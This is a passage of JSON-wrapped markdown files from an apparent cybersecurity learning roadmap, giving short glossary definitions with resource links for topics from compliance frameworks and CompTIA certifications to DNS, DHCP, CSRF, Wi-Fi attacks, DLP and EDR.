  {
    "path": "src/data/roadmaps/cyber-security/content/compliance@05Gbgy6aawYlYIx38u8DE.md",
    "content": "# Compliance\n\nCompliance in cybersecurity refers to the adherence to laws, regulations, standards, and best practices designed to protect sensitive data and ensure the security of information systems. It encompasses a wide range of requirements that organizations must meet to safeguard their digital assets and maintain the trust of customers, partners, and regulatory bodies. Common compliance frameworks include GDPR for data protection in the EU, HIPAA for healthcare information in the US, PCI DSS for payment card industry, and ISO 27001 for information security management. Compliance often involves implementing specific security controls, conducting regular audits, maintaining documentation, and demonstrating ongoing commitment to security practices. While achieving compliance can be complex and resource-intensive, it is crucial for mitigating legal and financial risks, protecting reputation, and fostering a culture of security within organizations.\n\nVisit the following resources to learn more:\n\n- [@article@What is Cyber Security Compliance?](https://www.comptia.org/content/articles/what-is-cybersecurity-compliance)\n- [@article@Cyber Security Compliance 101](https://sprinto.com/blog/cyber-security-compliance/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/comptia-a@lbAgU5lR1O7L_5mCbNz_D.md",
    "content": "# CompTIA A+\n\nCompTIA A+ is an entry-level certification for IT professionals that focuses on essential knowledge and skills in computer hardware, software, and troubleshooting. This certification is widely recognized in the IT industry and can serve as a stepping stone for individuals looking to start a career in the field of information technology.\n\nVisit the following resources to learn more:\n\n- [@official@CompTIA A+](https://www.comptia.org/certifications/a)\n- [@video@CompTIA A+ Course](https://www.youtube.com/watch?v=1CZXXNKAY5o)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/comptia-linux@p34Qwlj2sjwEPR2ay1WOK.md",
    "content": "# CompTIA Linux+\n\nThe CompTIA Linux+ certification is an entry-level certification aimed at individuals who are seeking to learn and demonstrate their skills and knowledge of the Linux operating system. This certification is widely recognized in the IT industry as an essential qualification for entry-level Linux administrators and helps them gain a strong foundation in Linux system administration tasks.\n\nVisit the following resources to learn more:\n\n- [@official@CompTIA Linux+](https://www.comptia.org/certifications/linux)\n- [@article@CompTIA Linux+ Certification Training Labs](https://github.com/labex-labs/comptia-linux-plus-training-labs)\n- [@video@Linux+ Exam Prep](https://www.youtube.com/watch?v=niPWk7tgD2Q&list=PL78ppT-_wOmuwT9idLvuoKOn6UYurFKCp)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/comptia-network@4RGbNOfMPDbBcvUFWTTCV.md",
    "content": "# CompTIA Network+\n\nThe CompTIA Network+ is a highly sought-after certification for IT professionals who aim to build a solid foundation in networking concepts and practices. This certification is vendor-neutral, meaning that it covers a broad range of knowledge that can be applied to various network technologies, products, and solutions. The Network+ certification is designed for beginners in the world of IT networking, and it is recommended that you first obtain the CompTIA A+ certification before moving on to Network+.\n\nVisit the following resources to learn more:\n\n- [@official@CompTIA Network+](https://www.comptia.org/certifications/network)\n- [@video@CompTIA Network+ Course](https://www.youtube.com/watch?v=xmpYfyNmWbw)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/comptia-security@AxeDcKK3cUtEojtHQPBw7.md",
    "content": "# CompTIA Security+\n\nCompTIA Security+ is a highly recognized and respected certification for individuals seeking to start their careers in the field of cybersecurity. This certification is vendor-neutral, meaning it doesn't focus on any specific technology or platform, and provides a solid foundation in cybersecurity principles, concepts, and best practices.\n\nVisit the following resources to learn more:\n\n- [@course@CompTIA SY0-701 Security+ Exam Course Playlist](https://www.youtube.com/playlist?list=PLG49S3nxzAnl4QDVqK-hOnoqcSKEIDDuv)\n- [@course@CompTIA Security+ Course](https://www.youtube.com/watch?v=yLf2jRY39Rc&list=PLIhvC56v63IIyU0aBUed4qwP0nSCORAdB)\n- [@official@CompTIA Security+ Website](https://www.comptia.org/certifications/security)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/computer-hardware-components@Ih0YZt8u9vDwYo8y1t41n.md",
    "content": "# Computer Hardware Components\n\nComputer hardware components are the physical parts that make up a computer system. These include the central processing unit (CPU), which executes instructions, memory (RAM) for temporary data storage, storage devices like hard drives and SSDs for permanent data storage, and input/output devices like keyboards, mice, and monitors that allow interaction with the system. Understanding these components and how they interact is crucial for anyone working with computers.\n\nVisit the following resources to learn more:\n\n- [@article@What is computer hardware?](https://www.ibm.com/think/topics/hardware)\n- [@video@Computer Components for Dummies](https://www.youtube.com/watch?v=cZs6kh0WFRY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/connection-types-and-their-function@F1QVCEmGkgvz-_H5lTxY2.md",
    "content": "# Connection Types\n\nDifferent devices connect to networks in various ways. **Ethernet** cables create a wired connection, often used for desktops and servers, providing a reliable and fast link. **Wi-Fi** offers wireless connectivity through radio waves, commonly found in laptops, smartphones, and IoT devices, allowing mobility within a network's range. **Bluetooth** is another wireless technology, primarily used for short-range connections between devices like headphones and smartphones. **Fiber-optic** connections utilize light to transmit data, offering very high bandwidth and are used for long-distance communication and backbone networks. **Cellular connections** use mobile networks to provide internet access to devices like smartphones and tablets, allowing connectivity virtually anywhere within cellular coverage.\n\nVisit the following resources to learn more:\n\n- [@article@Network connection types explained](https://nordvpn.com/blog/network-connection-types/)\n- [@article@What is Ethernet?](https://www.techtarget.com/searchnetworking/definition/Ethernet)\n- [@article@What is WiFi and how does it work?](https://computer.howstuffworks.com/wireless-network.htm)\n- [@article@How bluetooth works](https://electronics.howstuffworks.com/bluetooth.htm)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/containment@l7WnKuR2HTD4Vf9U2TxkK.md",
    "content": "# Containment\n\nContainment in cybersecurity refers to the process of limiting the impact of a security incident by isolating affected systems, networks, or data to prevent further spread or damage. When a breach or malware infection is detected, containment strategies are quickly implemented to halt the attack's progress, often by disconnecting compromised systems from the network, blocking malicious traffic, or restricting user access. Containment is a critical step in incident response, allowing security teams to control the situation while they investigate the root cause, assess the extent of the breach, and prepare for remediation. Effective containment minimizes the potential harm to the organization, preserving the integrity of unaffected systems and data.\n\nVisit the following resources to learn more:\n\n- [@article@Microsoft Security Incident Management: Containment, Eradication, and Recovery](https://learn.microsoft.com/en-us/compliance/assurance/assurance-sim-containment-eradication-recovery)\n- [@article@Containment - AWS](https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/containment.html)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/core-concepts-of-zero-trust@HavEL0u65ZxHt92TfbLzk.md",
    "content": "# Zero Trust\n\nZero Trust is a security framework based on the principle of \"never trust, always verify.\" Instead of assuming that users or devices inside a network are automatically trustworthy, Zero Trust mandates that every user, device, and network flow is authenticated and authorized before being granted access to resources. This model minimizes the blast radius of a potential security breach by segmenting access and continuously validating security posture.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Zero Trust Network?](https://www.cloudflare.com/en-gb/learning/security/glossary/what-is-zero-trust/)\n- [@video@Zero Trust Explained in 4 minutes](https://www.youtube.com/watch?v=yn6CPQ9RioA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/crest@rA1skdztev3-8VmAtIlmr.md",
    "content": "# CREST\n\nCREST is a non-profit, accreditation and certification body that represents the technical information security industry. Established in 2008, its mission is to promote the development and professionalization of the cyber security sector. CREST provides certifications for individuals and accreditation for companies, helping customers find knowledgeable and experienced professionals in the field.\n\nVisit the following resources to learn more:\n\n- [@official@CREST Certifications](https://www.crest-approved.org/skills-certifications-careers/crest-certifications/)\n- [@video@A brief overview of CREST](https://www.youtube.com/watch?v=Cci5qrv8fHY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/csf@HjfgaSEZjW9BOXy_Ixzkk.md",
    "content": "# Cybersecurity Framework (CSF)\n\nThe Cybersecurity Framework (CSF) is a set of guidelines aimed at helping organizations better protect their critical infrastructure from cyber threats. Developed by the National Institute of Standards and Technology (NIST), this voluntary framework provides a flexible, risk-based approach to managing cybersecurity risks.\n\nVisit the following resources to learn more:\n\n- [@official@NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)\n- [@video@NIST Cybersecurity Framework Explained](https://www.youtube.com/watch?v=_KXqDNVmpu8)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/csrf@pK2iRArULlK-B3iSVo4-n.md",
    "content": "# Cross-Site Request Forgery (CSRF)\n\nCross-Site Request Forgery (CSRF) is a web security vulnerability where an attacker tricks a user's browser into performing actions on a website while the user is authenticated. This happens without the user's knowledge or consent, leveraging the established trust between the user's browser and the targeted website. Essentially, the attacker crafts a malicious request that appears to originate from the legitimate user, potentially leading to unauthorized changes or actions on their account.\n\nVisit the following resources to learn more:\n\n- [@article@Cross-Site Request Forgery](https://owasp.org/www-community/attacks/csrf)\n- [@video@Cross-Site Request Forgery Explained](https://www.youtube.com/watch?v=eWEgUcHPle0)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/curl@W7iQUCjODGYgE4PjC5TZI.md",
    "content": "# curl\n\ncURL is a versatile command-line tool primarily used for transferring data using various network protocols. It is widely used in cybersecurity and development for the purpose of testing and interacting with web services, APIs, and scrutinizing web application security. Curl supports various protocols such as HTTP, HTTPS, FTP, SCP, SFTP, and many more.\n\nVisit the following resources to learn more:\n\n- [@article@What is the cURL command?](https://blog.hubspot.com/website/curl-command)\n- [@video@You need to know how to use cURL](https://www.youtube.com/watch?v=q2sqkvXzsw8)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/cyber-kill-chain@H38Vb7xvuBJXVzgPBdRdT.md",
    "content": "# Cyber Kill Chain\n\nThe **Cyber Kill Chain** is a model that was developed by Lockheed Martin, a major aerospace, military support, and security company, to understand and prevent cyber intrusions in various networks and systems. It serves as a framework for breaking down the stages of a cyber attack, making it easier for security professionals to identify, mitigate, and prevent threats.\n\nVisit the following resources to learn more:\n\n- [@official@Cyber Kill Chain](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)\n- [@video@Learn the Cyber Kill Chain](https://www.youtube.com/watch?v=oCUrkc_0tmw)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dd@9xbU_hrEOUtMm-Q09Fe6t.md",
    "content": "# dd for Incident Response and Discovery\n\n`dd` (data duplicator) is a command-line utility used primarily for copying and converting data. It operates at a low level, reading and writing data block by block. This makes it extremely useful for creating exact bit-by-bit copies of storage devices, such as hard drives or memory sticks, and creating forensic images in raw or other formats.\n\nVisit the following resources to learn more:\n\n- [@article@When and how to use the dd command](https://www.baeldung.com/linux/dd-command)\n- [@video@How to use the dd command in Linux](https://www.youtube.com/watch?v=hsDxcJhCRLI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/deauth-attack@LfWJJaT3fv0p6fUeS8b84.md",
    "content": "# Deauth Attack\n\nA Deauthentication (Deauth) Attack is a type of denial-of-service (DoS) attack specific to wireless networks. It involves sending fake deauthentication frames to a Wi-Fi client or access point, forcing the client to disconnect from the network. The attacker uses this technique to disrupt the communication between the client and the access point, often with the intention of capturing data, launching further attacks, or simply causing disruption.\n\nVisit the following resources to learn more:\n\n- [@article@Wi-Fi Deauthentication Attack](https://medium.com/@balaramapunna123/wi-fi-deauthentication-attack-76cdd91d5fc)\n- [@article@Deauthentication Attacks](https://www.baeldung.com/cs/deauthentication-attacks)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/default-gateway@5rKaFtjYx0n2iF8uTLs8X.md",
    "content": "# default gateway\n\nA default gateway is a network node, typically a router or a firewall, that serves as the access point or intermediary between a local network and external networks, such as the internet. When a device on a local network needs to communicate with a device outside its own subnet—such as accessing a website or sending an email—it sends the data to the default gateway, which then routes it to the appropriate external destination. The default gateway acts as a traffic director, ensuring that data packets are correctly forwarded between the internal network and external networks, making it a crucial component for enabling communication beyond the local network's boundaries.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Default Gateway?](https://nordvpn.com/blog/what-is-a-default-gateway/?srsltid=AfmBOoosi5g4acnT9Gv_B86FMGr72hWDhk8J-4jr1HvxPCSu96FikCyw)\n- [@video@Routers and Default Gateways](https://www.youtube.com/watch?v=JOomC1wFrbU)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dhcp@R5HEeh6jwpQDo27rz1KSH.md",
    "content": "# DHCP\n\nDHCP, or Dynamic Host Configuration Protocol, is a network management protocol used on IP networks. It automates the process of assigning IP addresses, subnet masks, default gateways, and other network parameters to devices, allowing them to communicate on the network. Instead of manually configuring each device, DHCP servers dynamically \"lease\" IP addresses to clients for a specific period, streamlining network administration and preventing IP address conflicts.\n\nVisit the following resources to learn more:\n\n- [@article@Dynamic Host Configuration Protocol (DHCP)](https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top)\n- [@video@What is DHCP and how does it work?](https://www.youtube.com/watch?v=ldtUSSZJCGg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dhcp@T4312p70FqRBkzVfWKMaR.md",
    "content": "# Dynamic Host Configuration Protocol (DHCP)\n\nThe Dynamic Host Configuration Protocol (DHCP) is a network management protocol used to automatically assign IP addresses and other network configuration details, such as subnet masks, default gateways, and DNS servers, to devices on a network. When a device, such as a computer or smartphone, connects to a network, it sends a request to the DHCP server, which then dynamically assigns an available IP address from a defined range and provides the necessary configuration information. This process simplifies network management by eliminating the need for manual IP address assignment and reduces the risk of IP conflicts, ensuring that devices can seamlessly join the network and communicate with other devices and services.\n\nVisit the following resources to learn more:\n\n- [@article@Dynamic Host Configuration Protocol (DHCP)](https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top)\n- [@video@What is DHCP and how does it work?](https://www.youtube.com/watch?v=ldtUSSZJCGg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/diamond-model@AY-hoPGnAZSd1ExaYX8LR.md",
    "content": "# Diamond Model\n\nThe Diamond Model is a framework for understanding and analyzing cyber threat activity. It visualizes an intrusion event as a diamond shape with four core features: adversary, capability, infrastructure, and victim. Analyzing these elements and the relationships between them provides valuable insights into the nature of the attack, helping security professionals attribute, track, and defend against malicious campaigns.\n\nVisit the following resources to learn more:\n\n- [@article@The Diamond Model: Simple Intelligence-Driven Intrusion Analysis](https://kravensecurity.com/diamond-model-analysis/)\n- [@video@The Diamond Model for Intrusion Detection](https://www.youtube.com/watch?v=3AOKomsmeUY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/different-versions-and-differences@yXOGqlufAZ69uiBzKFfh6.md",
    "content": "# Operating System Versions and Differences\n\nOperating systems (OS) evolve over time, leading to different versions of the same OS (like Windows 10 vs. Windows 11) and different OS families altogether (like Windows vs. Linux). Each version introduces new features, performance improvements, security updates, and sometimes, architectural changes. Understanding these differences is crucial because older versions might be vulnerable to exploits that have been patched in newer releases, and different operating systems have inherently different security models and capabilities."
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dig@D2YYv1iTRGken75sHO0Gt.md",
    "content": "# dig\n\n`dig`, short for the Domain Information Groper, is a powerful and flexible command-line tool used to perform DNS queries and obtain valuable information about domains, IPs, and DNS records. This utility, available on UNIX-based systems like Linux and macOS, provides an essential function to help diagnose and resolve various issues related to domain name resolution and network connectivity. It is highly useful for network administrators and cybersecurity professionals when troubleshooting DNS-related problems.\n\nVisit the following resources to learn more:\n\n- [@video@How to look up DNS records with dig](https://www.youtube.com/watch?v=iESSCDnC74k)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dig@XyaWZZ45axJMKXoWwsyFj.md",
    "content": "# dig\n\n`dig`, short for the Domain Information Groper, is a powerful and flexible command-line tool used to perform DNS queries and obtain valuable information about domains, IPs, and DNS records. This utility, available on UNIX-based systems like Linux and macOS, provides an essential function to help diagnose and resolve various issues related to domain name resolution and network connectivity. It is highly useful for network administrators and cybersecurity professionals when troubleshooting DNS-related problems.\n\nVisit the following resources to learn more:\n\n- [@article@How to use Linux dig command](https://www.google.com/search?client=firefox-b-d&q=linux+dig+command)\n- [@video@How to look up DNS records with dig](https://www.youtube.com/watch?v=3AOKomsmeUY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/directory-traversal@L0ROYh2DNlkybNDO2ezJY.md",
    "content": "# Directory Traversal Attacks\n\nDirectory traversal, also known as path traversal, is a web security vulnerability that allows attackers to access files and directories stored outside of the intended web server's root directory. It exploits insufficient security validation of user-supplied filenames, enabling attackers to navigate the file system and potentially gain access to sensitive information, execute arbitrary code, or compromise the entire server.\n\nVisit the following resources to learn more:\n\n- [@course@TryHackMe's room on Path Traversal & File Inclusion](https://tryhackme.com/r/room/filepathtraversal)\n- [@course@HackTheBox Academy's module on File Inclusion & Path Traversal](https://academy.hackthebox.com/course/preview/file-inclusion)\n- [@official@OWASP's article on Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n- [@article@Portswigger's guide on File Path Traversal](https://portswigger.net/web-security/file-path-traversal)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dlp@iolsTC-63d_1wzKGul-cT.md",
    "content": "# Data Loss Prevention (DLP)\n\nData Loss Prevention (DLP) refers to a set of strategies, tools, and processes used by organizations to ensure that sensitive data is not lost, accessed, or misused by unauthorized users. DLP solutions monitor, detect, and block the movement of critical information outside an organization’s network, helping to prevent data breaches, leaks, and other security incidents.\n\nVisit the following resources to learn more:\n\n- [@article@What is DLP (data loss prevention)?](https://www.cloudflare.com/en-gb/learning/access-management/what-is-dlp/)\n- [@article@What is Data Loss Prevention (DLP)?](https://www.techtarget.com/whatis/definition/data-loss-prevention-DLP)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dmz@gfpvDQz61I3zTB7tGu7vp.md",
    "content": "# DMZ\n\nA **DMZ**, also known as a **Demilitarized Zone**, is a specific part of a network that functions as a buffer or separation between an organization's internal, trusted network and the external, untrusted networks like the internet. The primary purpose of a DMZ is to isolate critical systems and data from the potentially hostile external environment and provide an extra layer of security.\n\nVisit the following resources to learn more:\n\n- [@article@What is a DMZ Network?](https://www.fortinet.com/resources/cyberglossary/what-is-dmz)\n- [@video@DMZ explained](https://www.youtube.com/watch?v=48QZfBeU4ps)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dns-poisoning@urtsyYWViEzbqYLoNfQAh.md",
    "content": "# DNS Poisoning/DNS Spoofing/DNS Cache Poisoning\n\nDNS spoofing or DNS cache poisoning, occurs when fake information is inserted into a DNS server’s cache.This causes DNS queries to return incorrect IP addresses, directing users to the wrong websites. Hackers exploit this to reroute traffic to malicious sites. The issue persists until the cached information is corrected.When the cache is poisoned, it misdirects traffic until the incorrect information is fixed. This technique exploits vulnerabilities in the DNS system and can spread to other servers, causing widespread issues.\n\nVisit the following resources to learn more:\n\n- [@article@What is DNS Cache Poisoning? | DNS spoofing](https://www.cloudflare.com/learning/dns/dns-cache-poisoning/)\n- [@article@What Is DNS Poisoning?](https://www.fortinet.com/resources/cyberglossary/dns-poisoning)\n- [@article@DNS Poisoning (DNS Spoofing): Definition, Technique & Defense](https://www.okta.com/identity-101/dns-poisoning/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dns@ORIdKG8H97VkBUYpiDtXf.md",
    "content": "# Domain Name System (DNS)\n\nThe Domain Name System (DNS) is a fundamental protocol of the internet that translates human-readable domain names, like `www.example.com`, into IP addresses, such as `192.0.2.1`, which are used by computers to locate and communicate with each other. Essentially, DNS acts as the internet's phonebook, enabling users to access websites and services without needing to memorize numerical IP addresses. When a user types a domain name into a browser, a DNS query is sent to a DNS server, which then resolves the domain into its corresponding IP address, allowing the browser to connect to the appropriate server. DNS is crucial for the functionality of the internet, as it underpins virtually all online activities by ensuring that requests are routed to the correct destinations.\n\nVisit the following resources to learn more:\n\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@video@DNS Explained in 100 Seconds](https://www.youtube.com/watch?v=UVR9lhUGAyU)\n- [@video@What is DNS?](https://www.youtube.com/watch?v=nyH0nYhMW9M)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dns@r1IKvhpwg2umazLGlQZL1.md",
    "content": "# DNS\n\nThe Domain Name System (DNS) is like the internet's phonebook. It translates human-readable domain names, like \"[google.com](http://google.com),\" into IP addresses, like \"172.217.160.142,\" which computers use to identify each other on the network. Without DNS, we'd have to remember and type in long strings of numbers to access websites, making the internet much less user-friendly.\n\nVisit the following resources to learn more:\n\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@video@DNS Explained in 100 Seconds](https://www.youtube.com/watch?v=UVR9lhUGAyU)\n- [@video@What is DNS?](https://www.youtube.com/watch?v=nyH0nYhMW9M)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dnssec@LLGXONul7JfZGUahnK0AZ.md",
    "content": "# DNSSEC\n\nDNSSEC, or Domain Name System Security Extensions, is a security protocol suite that adds cryptographic signatures to DNS data. It verifies that DNS responses originate from the authoritative DNS server and haven't been tampered with during transit. This helps prevent DNS spoofing and cache poisoning attacks by ensuring the authenticity and integrity of DNS information.\n\nVisit the following resources to learn more:\n\n- [@article@How DNSSEC works](https://www.cloudflare.com/en-gb/dns/dnssec/how-dnssec-works/)\n- [@video@What is DNSSEC?](https://www.youtube.com/watch?v=Fk2oejzgSVQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dos-vs-ddos@IF5H0ZJ72XnqXti3jRWYF.md",
    "content": "# DoS vs DDoS\n\nA Denial-of-Service (DoS) attack is a type of cyberattack where an attacker attempts to make a machine or network resource unavailable to its intended users by overwhelming it with malicious traffic or requests, originating from a _single_ source. A Distributed Denial-of-Service (DDoS) attack is similar, but the attack traffic comes from _multiple_ compromised systems, creating a larger and more difficult-to-mitigate disruption.\n\nVisit the following resources to learn more:\n\n- [@article@DoS vs DDoS](https://www.fortinet.com/resources/cyberglossary/dos-vs-ddos)\n- [@video@What is Denial-of-Service attack?](https://www.youtube.com/watch?v=Z7xG3b0aL_I)\n- [@video@What is a DDoS attack?](https://www.youtube.com/watch?v=z503nLsfe5s)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/drive-by-attack@cO70zHvHgBAH29khF-hBW.md",
    "content": "# Drive-by Attack\n\nDrive-by Attack is a type of cyberattack where malicious code is automatically downloaded and executed on a user's system simply by visiting a compromised or malicious website. The user does not need to click on anything or interact with the page; just loading the website is enough to trigger the attack.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Drive-By Attack?](https://www.ericom.com/glossary/what-is-a-drive-by-attack/)\n- [@video@Drive-By Download attack](https://www.youtube.com/watch?v=xL4DyblbnKg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dropbox@9OastXVfiG1YRMm68ecnn.md",
    "content": "# Dropbox\n\nDropbox is a widely used cloud storage service that allows you to store, access, and share files, documents, and media with ease across various devices. Launched in 2007, Dropbox has become one of the most popular cloud storage solutions, catering to both individual users and businesses. The service is available on multiple platforms, including Windows, macOS, Linux, iOS, and Android.\n\nVisit the following resources to learn more:\n\n- [@official@Dropbox](https://dropbox.com)\n- [@official@How to Use Dropbox - a guide to your account](https://learn.dropbox.com/self-guided-learning/dropbox-fundamentals-course/how-to-use-dropbox)\n- [@video@Dropbox Tutorial for Beginners](https://www.youtube.com/watch?v=b0Nk9muiUcQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/dumpster-diving@Iu0Qtk13RjrhHpSlm0uyh.md",
    "content": "# Dumpster Diving\n\nDumpster Diving in the context of cybersecurity refers to the practice of searching through discarded materials in trash or recycling bins to find confidential information. This technique may seem unsophisticated, but it can be extremely effective in obtaining valuable data such as passwords, account information, network diagrams, or any other sensitive information that has not been properly destroyed.\n\nVisit the following resources to learn more:\n\n- [@article@Dumpster Diving](https://www.techtarget.com/searchsecurity/definition/dumpster-diving)\n- [@article@What is Dumpster Diving](https://powerdmarc.com/dumpster-diving-in-cybersecurity/)\n- [@video@Dumpster Diving for Sensitive Information](https://www.youtube.com/watch?v=Pom86gq4mk4)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/eap-vs-peap@1jwtExZzR9ABKvD_S9zFG.md",
    "content": "# EAP vs PEAP\n\nEAP (Extensible Authentication Protocol) is an authentication framework providing a general method for transport and authentication, supporting various authentication methods. PEAP (Protected EAP) is an EAP protocol that encapsulates EAP within an encrypted and authenticated TLS tunnel. This protects the EAP authentication process, making it more secure than standard EAP.\n\nVisit the following resources to learn more:\n\n- [@article@Extensible Authentication Protocol (EAP) for network access](https://learn.microsoft.com/en-us/windows-server/networking/technologies/extensible-authentication-protocol/network-access?tabs=eap-tls%2Cserveruserprompt-eap-tls%2Ceap-sim)\n- [@article@What is Protected Extensible Authentication Protocol (PEAP)](https://www.techtarget.com/searchsecurity/definition/PEAP-Protected-Extensible-Authentication-Protocol)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/edr@QvHWrmMzO8IvNQ234E_wf.md",
    "content": "# Endpoint Detection and Response (EDR)\n\nEDR is a security technology that continuously monitors endpoints (like computers, laptops, and servers) for suspicious activity and threats. It collects data from these endpoints, analyzes it in real-time, and automatically responds to detected threats to prevent or minimize damage. The goal of EDR is to provide better visibility into what is happening on endpoints, allowing security teams to quickly identify, investigate, and remediate security incidents.\n\nVisit the following resources to learn more:\n\n- [@article@What is Endpoint Detection and Response?](https://www.crowdstrike.com/cybersecurity-101/endpoint-security/endpoint-detection-and-response-edr/)\n- [@video@What is Endpoint Detection and Response (EDR)? - IBM](https://www.youtube.com/watch?v=55GaIolVVqI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/endpoint-security@LEgJtu1GZKOtoAXyOGWLE.md",
    "content": "# Endpoint Security\n\nEndpoint security focuses on protecting networks by securing the devices that connect to them, such as desktops, laptops, smartphones, and servers. It involves implementing security measures directly on these endpoints to prevent malicious activities, data breaches, and unauthorized access. This approach aims to create a defensive layer at each point of network entry, rather than solely relying on perimeter security.\n\nVisit the following resources to learn more:\n\n- [@article@What is Endpoint Security?](https://www.crowdstrike.com/cybersecurity-101/endpoint-security/)\n- [@video@Endpoints are the IT Frontdoor - Guard them!](https://www.youtube.com/watch?v=Njqid_JpqTs)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/eradication@N17xAIo7sgbB0nrIDMWju.md",
    "content": "# Eradication\n\nEradication in the context of incident response involves completely removing the root cause of a security incident to prevent its recurrence. This phase goes beyond just containing the immediate effects of an attack; it focuses on identifying and eliminating the vulnerability, malware, or other underlying factors that allowed the incident to happen in the first place. This might include patching vulnerable systems, removing malicious software, resetting compromised credentials, or reconfiguring network devices.\n\nVisit the following resources to learn more:\n\n- [@article@Eradication - AWS](https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/eradication.html)\n- [@article@What is eradication in Cybersecurity?](https://heimdalsecurity.com/blog/what-is-eradication-in-cybersecurity/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/esxi@BisNooct1vJDKaBKsGR7_.md",
    "content": "# ESXi\n\nVMware ESXi is a Type 1 hypervisor and the core building block for VMware's virtualization technology. It represents a bare-metal hypervisor, which means it is installed directly onto your physical server's hardware, without the need for a supporting operating system. This results in elevated performance, reduced overhead, and efficient resource allocation.\n\nVisit the following resources to learn more:\n\n- [@official@What is ESXi?](https://www.vmware.com/products/cloud-infrastructure/esxi-and-esx)\n- [@article@What is VMWare ESXi?](https://www.liquidweb.com/blog/what-is-vmware-esxi/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/event-logs@KbFwL--xF-eYjGy8PZdrM.md",
    "content": "# Event Logs\n\nEvent logs are records of activities that occur within a computer system or network. These logs capture various events, such as system startups and shutdowns, application errors, security alerts, and user login/logout activities. They provide a chronological history of these occurrences, offering valuable insights into the system's operational status and potential security incidents.\n\nVisit the following resources to learn more:\n\n- [@article@What is an Event Log?](https://www.crowdstrike.com/cybersecurity-101/observability/event-log/)\n- [@article@What are event logs and why do they matter?](https://www.blumira.com/blog/what-are-event-logs-and-why-do-they-matter)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/evil-twin@O1fY2n40yjZtJUEeoItKr.md",
    "content": "# What is Evil Twin attack\n\nAn Evil Twin is a type of wireless network attack where an attacker sets up a rogue Wi-Fi access point that mimics a legitimate Wi-Fi network. The rogue access point has the same SSID (network name) as the legitimate network, making it difficult for users to distinguish between the two. The attacker's goal is to trick users into connecting to the rogue access point, allowing them to intercept sensitive information, inject malware, or launch other types of attacks.\n\nVisit the following resources to learn more:\n\n- [@article@What is an Evil Twin attack?](https://www.techtarget.com/searchsecurity/definition/evil-twin)\n- [@video@How Hackers Can Grab Your Passwords Over Wi-Fi with Evil Twin Attacks](https://www.youtube.com/watch?v=HyxQqDq3qs4)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/false-negative--false-positive@XwRCZf-yHJsXVjaRfb3R4.md",
    "content": "# False Negatives and False Positives\n\nFalse positives and false negatives are common occurrences when evaluating security systems and tools. A false positive is when a system incorrectly identifies a normal activity as malicious, raising an alert when there's actually no threat. Conversely, a false negative occurs when a system fails to detect a genuine malicious activity, allowing a threat to slip through unnoticed. Effectively managing and minimizing both types of errors is crucial for maintaining a robust and reliable security posture.\n\nVisit the following resources to learn more:\n\n- [@article@Difference Between False Positive and False Negative](https://www.differencebetween.net/science/difference-between-false-positive-and-false-negative/)\n- [@video@What is a false positive virus?](https://www.youtube.com/watch?v=WrcAGBvIT14)\n- [@video@False positives and false negatives](https://www.youtube.com/watch?v=bUNBzMnfHLw)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/firewall--nextgen-firewall@tWDo5R3KU5KOjDdtv801x.md",
